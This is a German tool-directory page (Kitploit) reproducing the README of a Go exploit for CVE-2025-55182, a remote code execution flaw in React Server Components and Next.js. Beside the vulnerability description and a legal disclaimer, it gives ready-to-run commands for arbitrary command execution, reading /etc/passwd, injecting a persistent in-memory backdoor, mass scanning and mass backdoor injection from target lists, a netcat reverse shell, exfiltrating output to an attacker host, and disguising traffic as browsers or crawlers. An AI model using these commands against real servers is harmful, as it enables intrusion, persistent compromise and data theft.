Skip to content
KitploitKITPLOIT
ToolsBlog
Einreichen
ToolsBlog
Einreichen

Hacking-, PenTest- und Cybersicherheits-Tools für Ihr Sicherheitsarsenal!

Kitploit ist ein Verzeichnis von Hacking-, Cybersicherheits- und Pentesting-Tools. Entdecken Sie die neuesten Projekt-Updates, um Schwachstellen zu finden, Systeme zu analysieren, Tests zu automatisieren und Ihre Sicherheit zu stärken.

··Feeds·Kontakt·Datenschutz·© 2026 Kitploit

Tool-Verzeichnis

Kategorien

Alle Kategorien anzeigen
Loading categories
Tools/GitHubGitHub/keklick1337/cve-2025-55182-golang-poc
Vulnerability AnalysisExploitationWeb Application ExploitationPost-ExploitationPenetration TestingCommand and ControlRed TeamingRemote Access ToolPayload Development

Beliebteste

Alle anzeigen →

Entdecken Sie die meistgenutzten Tools unserer Community.

Alle Tools erkunden

Durchsuchen Sie unsere Tool-Sammlung

Alle Tools anzeigen →
Teilen
GitHubkeklick1337/cve-2025-55182-golang-poc

CVE-2025-55182-golang-PoC

CVE-2025-55182 React Server Components RCE - Go PoC

Repository anzeigenWebseite
61vor 8 MonatenNoch nicht geprüft

CVE-2025-55182 React Server Components RCE - Go PoC

⚠️ NUR FÜR AUTORISIERTE SICHERHEITSTESTS ⚠️

Beschreibung

CVE-2025-55182 (auch bekannt als CVE-2025-66478) ist eine kritische Remote-Code-Ausführungs-Schwachstelle in React Server Components (Flight-Protokoll). Dieses Tool ist eine Go-Implementierung des PoC für Sicherheitsforschung und autorisierte Penetrationstests.

Betroffene Versionen:

  • react-server-dom-webpack: 19.0.0 - 19.2.0
  • Next.js: 15.x (vor Patches: 15.0.5, 15.1.9, 15.2.6, 15.3.6, 15.4.8, 15.5.7)
  • Next.js: 16.x (vor 16.0.7)
  • Next.js: 14.3.0-canary.77 und spätere Canary-Versionen

Schwachstellendetails

Der Exploit nutzt Prototype Pollution in der Flight-Protokoll-Deserialisierung aus:

  1. Verwendet die $@-Deserialisierung, um eine Chunk-Referenz zu erhalten
  2. Setzt Chunk.prototype.then als die then-Eigenschaft des Root-Objekts
  3. Setzt den Status auf RESOLVED_MODEL, um initializeModelChunk mit einem kontrollierten Fake-Chunk aufzurufen
  4. Löst die Blob-Deserialisierung aus, die response._formData.get mit der Angreifer-Nutzlast aufruft
  5. Setzt response._formData.get auf den Function-Konstruktor für beliebige Codeausführung

Funktionen

  • Vollständige RCE-Fähigkeit - Ausführen beliebiger Befehle mit Ausgabe
  • Schwachstellenprüfmodus - Sichere Erkennung ohne Ausnutzung
  • Next.js-Versionserkennung - Automatische Version-Fingerabdrücke
  • Memory-Shell-Injektion - Permanenter Backdoor unter /exec?cmd=
  • Batch-Scanning - Multithreaded-Scanning mit JSON-Ausgabe
  • Umfassende Proxy-Unterstützung:
    • SOCKS5 mit/ohne Authentifizierung
    • SOCKS4/SOCKS4a
    • HTTP/HTTPS-Proxy mit/ohne Authentifizierung
  • Stealth-Modus - Browser-, Crawler- und Security-User-Agents
  • Ratenbegrenzung - Konfigurierbare Verzögerungen zwischen Anfragen
  • Reverse-Shell - mkfifo + nc (funktioniert auf Alpine/busybox)
  • Datenexfiltration - POST-Befehlsausgabe an Angreifer-Server
  • Plattformübergreifende Builds - Über 30 Betriebssystem-/Architektur-Kombinationen
  • JSON-Ausgabe - Maschinenlesbare Ergebnisse für Automatisierung

Installation

Vorgefertigte Binärdateien

Laden Sie die neueste Version für Ihre Plattform von den GitHub-Releases herunter.

Verfügbare Binärdateien:

  • Linux: amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
  • Windows: amd64, 386, arm64
  • macOS: amd64 (Intel), arm64 (Apple Silicon)
  • FreeBSD, OpenBSD, NetBSD: amd64, 386, arm, arm64
  • Und weitere...

Aus dem Quellcode

root@kitploit:~
# Clone repository
git clone https://github.com/keklick1337/CVE-2025-55182-golang-PoC.git
cd CVE-2025-55182-golang-PoC

# Build for current platform
go build -o cve-2025-55182 .

# Or build for all platforms
chmod +x build.sh
./build.sh

Aus dem Quellcode erstellen

Nach dem Ausführen von ./build.sh stehen die Binärdateien im Verzeichnis build/ für alle unterstützten Plattformen zur Verfügung.

Verwendung

Grundlegende Befehle

root@kitploit:~
# Check single target for vulnerability
./cve-2025-55182 -u http://target:3000 --check

# Detect Next.js version
./cve-2025-55182 -u http://target:3000 --version-check

# Execute command with output
./cve-2025-55182 -u http://target:3000 -c "id"
./cve-2025-55182 -u http://target:3000 -c "cat /etc/passwd"

Memory-Shell (Permanenter Backdoor)

root@kitploit:~
# Inject memory shell (checks if already installed first)
./cve-2025-55182 -u http://target:3000 --memshell

# Test if memory shell is active
./cve-2025-55182 -u http://target:3000 --test-shell

# Execute command via memory shell
./cve-2025-55182 -u http://target:3000 --shell-exec "cat /etc/passwd"

# After injection, you can also use curl directly:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=whoami'

Benutzerdefinierte Header & SSL-Umgehung

root@kitploit:~
# Add custom headers (can be used multiple times)
./cve-2025-55182 -u http://target:3000 --check -H 'Authorization: Bearer token123'
./cve-2025-55182 -u http://target:3000 --check -H 'Host: example.com' -H 'X-Forwarded-For: 127.0.0.1'

# Skip SSL certificate verification (for self-signed certs)
./cve-2025-55182 -u https://target:3000 --check -k
./cve-2025-55182 -u https://target:3000 --check --insecure

# Combine with other options
./cve-2025-55182 -u https://target:3000 -c "id" -k -H 'Cookie: session=abc123' --proxy socks5://127.0.0.1:1080

Proxy-Unterstützung

root@kitploit:~
# SOCKS5 with authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://user:[email protected]:1080

# SOCKS5 without authentication
./cve-2025-55182 -u http://target:3000 --check --proxy socks5://127.0.0.1:1080

# SOCKS4 proxy
./cve-2025-55182 -u http://target:3000 --check --proxy socks4://127.0.0.1:1080

# HTTP proxy
./cve-2025-55182 -u http://target:3000 --check --proxy http://127.0.0.1:8080

Batch-Scanning

root@kitploit:~
# Batch check from file
./cve-2025-55182 --urls targets.txt --check

# Batch scan with JSON output
./cve-2025-55182 --urls targets.txt --check --json -o results.json

# Batch scan with multiple threads and stealth
./cve-2025-55182 -f targets.txt --check --threads 20 --stealth crawler --delay 2s

# Save vulnerable targets to file
./cve-2025-55182 -f targets.txt --check -o vulnerable.txt

# Batch memory shell injection
./cve-2025-55182 --urls targets.txt --memshell --workers 10

# Batch command execution
./cve-2025-55182 --urls targets.txt -c "id" --threads 5

Netzwerk-Exfiltration

root@kitploit:~
# Reverse shell (mkfifo + nc, works on Alpine)
./cve-2025-55182 -u http://target:3000 --revshell 10.0.0.1 4444

# Start listener on attacker machine first:
nc -lvnp 4444

# Exfiltrate command output via HTTP POST
./cve-2025-55182 -u http://target:3000 --exfil "cat /etc/passwd" 10.0.0.1 4444

# Start listener: nc -lvnp 4444

Optionen

Proxy Types

root@kitploit:~
socks5://user:pass@ip:port  - SOCKS5 with authentication
socks5://ip:port            - SOCKS5 without authentication  
socks5h://ip:port           - SOCKS5 with remote DNS resolution
socks4://ip:port            - SOCKS4 proxy
socks4a://ip:port           - SOCKS4a proxy
http://user:pass@ip:port    - HTTP proxy with authentication
http://ip:port              - HTTP proxy without authentication
https://ip:port             - HTTPS proxy

Stealth-Modi

ModeBeschreibung
browserImitiert echte Browseranfragen (Chrome, Firefox, Safari, Edge) - Standard
crawlerImitiert Suchmaschinen-Crawler (Googlebot, Bingbot, Baiduspider, etc.)
securityVerwendet User-Agents von Sicherheitsscannern (Nessus, Nuclei)

Memory-Shell

Die Memory-Shell-Funktion injiziert einen permanenten Backdoor, der:

  1. Prüft zuerst - Vor der Injektion wird überprüft, ob die Shell bereits installiert ist
  2. Hooked http.Server.prototype.emit - Fängt alle HTTP-Anfragen ab
  3. Erstellt /exec-Endpunkt - Akzeptiert den cmd-Abfrageparameter
  4. Überlebt bis zum Neustart - Verbleibt im Serverspeicher
root@kitploit:~
# After injection:
curl 'http://target:3000/exec?cmd=id'
curl 'http://target:3000/exec?cmd=ls+-la'
curl 'http://target:3000/exec?cmd=cat+/etc/passwd'

Projektstruktur

root@kitploit:~
.
├── main.go                   # CLI entry point
├── pkg/
│   ├── colors/
│   │   └── colors.go         # Terminal colors with --nocolor support
│   ├── exploit/
│   │   └── exploit.go        # Core exploit logic, memory shell, version detection
│   ├── proxy/
│   │   └── proxy.go          # SOCKS4/5, HTTP proxy support
│   ├── scanner/
│   │   └── scanner.go        # Batch scanning with JSON output
│   └── stealth/
│       └── stealth.go        # User-Agent randomization
├── build.sh                  # Cross-platform build script
├── go.mod                    # Go module file
├── go.sum                    # Go dependencies
└── README.md                 # This file

Plattformübergreifende Builds

Das Skript build.sh erstellt Binärdateien für über 30 Plattformen:

  • Linux: amd64, 386, arm, arm64, mips, mipsle, mips64, riscv64, ppc64, s390x
  • Windows: amd64, 386, arm64 (.exe)
  • macOS: amd64 (Intel), arm64 (Apple Silicon)
  • FreeBSD: amd64, 386, arm, arm64
  • OpenBSD: amd64, 386, arm, arm64
  • NetBSD: amd64, 386, arm, arm64
  • DragonFly BSD: amd64
  • Solaris/Illumos: amd64
  • Plan 9: amd64, 386
  • AIX: ppc64
root@kitploit:~
chmod +x build.sh
./build.sh

JSON-Ausgabeformat

Bei Verwendung des --json-Flags werden die Ergebnisse im JSONL-Format gespeichert (ein JSON pro Zeile):

root@kitploit:~
{"url":"http://target:3000","vulnerable":true,"version":"15.0.3","checked_at":"2025-12-06T12:00:00Z","response_time_ms":1234}

Der vollständige Bericht (_report.json) enthält:

root@kitploit:~
{
  "scan_time": "2025-12-06T12:00:00Z",
  "total_urls": 100,
  "vulnerable_count": 5,
  "safe_count": 90,
  "timeout_count": 5,
  "results": [...]
}

Versionserkennung

Das Tool kann die Next.js-Version erkennen aus:

  • X-Powered-By-Header
  • HTML/JS-Quelltext (__NEXT_DATA__, /_next/-Pfade)
  • Build-Manifest-Muster

Verwundbare Versionen werden rot hervorgehoben.

Haftungsausschluss

⚠️ WICHTIGER RECHTLICHER HINWEIS ⚠️

Dieses Tool wird ausschließlich zu Bildungszwecken und für autorisierte Sicherheitstests bereitgestellt.

Vorgesehene Verwendung

  • Sicherheitsforschung und Schwachstellenbewertung
  • Autorisierte Penetrationstests mit schriftlicher Genehmigung
  • Testen Ihrer eigenen Anwendungen und Infrastruktur
  • Bildungsdemonstration in kontrollierten Laborumgebungen
  • Entwicklung von Patches und Sicherheitsmaßnahmen

Verbotene Verwendung

Es ist strengstens verboten, dieses Tool zu verwenden:

  • Gegen Systeme, die Sie nicht besitzen oder für die Sie keine ausdrückliche schriftliche Genehmigung zum Testen haben
  • Für böswillige, illegale oder unbefugte Aktivitäten
  • Um unbefugten Zugang zu Computersystemen oder Netzwerken zu erlangen
  • Unter Verstoß gegen geltende lokale, staatliche, nationale oder internationale Gesetze
  • Um Systeme ohne Genehmigung zu stören, zu beschädigen oder zu gefährden

Rechtliche Warnung

Unbefugter Zugriff auf Computersysteme ist in den meisten Rechtsordnungen weltweit eine Straftat, einschließlich, aber nicht beschränkt auf:

  • 🇺🇸 USA: Computer Fraud and Abuse Act (CFAA) - bis zu 20 Jahren Haft
  • 🇪🇺 EU: Richtlinie 2013/40/EU über Angriffe auf Informationssysteme
  • 🇷🇺 Russland: Artikel 272-274 des Strafgesetzbuches
  • 🇬🇧 UK: Computer Misuse Act 1990
  • 🇩🇪 Deutschland: §202a-202d StGB
  • 🇨🇳 China: Strafrechtsartikel 285-287

Keine Gewährleistung

DIESE SOFTWARE WIRD OHNE JEGLICHE GEWÄHRLEISTUNG, WEDER AUSDRÜCKLICH NOCH STILLSCHWEIGEND, BEREITGESTELLT. DIE AUTOREN UND URHEBERRECHTSINHABER HAFTEN NICHT FÜR ANSPRÜCHE, SCHÄDEN ODER ANDERE HAFTUNG, DIE AUS DER NUTZUNG DIESER SOFTWARE ENTSTEHEN.

Verantwortung des Benutzers

Durch Herunterladen, Installieren oder Verwenden dieses Tools erkennen Sie an, dass:

  1. Sie allein für Ihre Handlungen verantwortlich sind
  2. Sie dieses Tool nur auf Systemen verwenden werden, die Sie besitzen oder für die Sie eine ausdrückliche Genehmigung zum Testen haben
  3. Sie alle mit der Nutzung dieser Software verbundenen Risiken verstehen und akzeptieren
  4. Der Autor trägt keine Verantwortung für Missbrauch oder verursachte Schäden

Wenn Sie diesen Bedingungen nicht zustimmen, verwenden Sie dieses Tool nicht.

Autor

Vladislav Tislenko aka keklick1337
Datum: 2025-12-05

Lizenz

Dieses Projekt ist unter der MIT-Lizenz lizenziert – siehe die Datei LICENSE für Details.


Verwenden Sie es verantwortungsvoll. Bleiben Sie legal. 🔐

Tool herunterladen
OptionBeschreibung
-u, --urlZiel-URL (z.B. http://localhost:3000)
-f, --fileDatei mit Ziel-URLs (eine pro Zeile)
--urlsAlias für -f/--file
-o, --outputAusgabedatei für verwundbare Ziele
--jsonErgebnisse im JSON-Format ausgeben
-c, --commandAuszuführender Befehl (mit Ausgabe)
--checkAuf Schwachstelle prüfen
--version-checkNext.js-Version erkennen
--proxyProxy URL (socks5://user:pass@ip:port, socks4://ip:port, http://ip:port)
-H, --headerBenutzerdefinierter Header (mehrfach verwendbar)
-k, --insecureSSL/TLS-Zertifikatsprüfung überspringen
--stealthStealth-Modus: browser, crawler, security (Standard: browser)
--delayVerzögerung zwischen Anfragen (z.B. 2s, 500ms)
--variantsMehrere Payload-Varianten für gründliche Prüfung verwenden
--memshellMemory-Shell injizieren (permanenter Backdoor)
--test-shellTesten, ob Memory-Shell aktiv ist
--shell-execBefehl über Memory-Shell ausführen
--revshell IP PORTReverse-Shell herstellen
--exfil CMD IP PORTBefehl ausführen und Ausgabe per POST senden
-t, --timeoutTimeout für Anfragen in Sekunden (Standard: 15)
--threadsAnzahl gleichzeitiger Threads (Standard: 10)
--workersAlias für --threads
--nocolorFarbausgabe deaktivieren (für Windows/Pipes)
-h, --helpHilfemeldung anzeigen
-v, --versionVersion anzeigen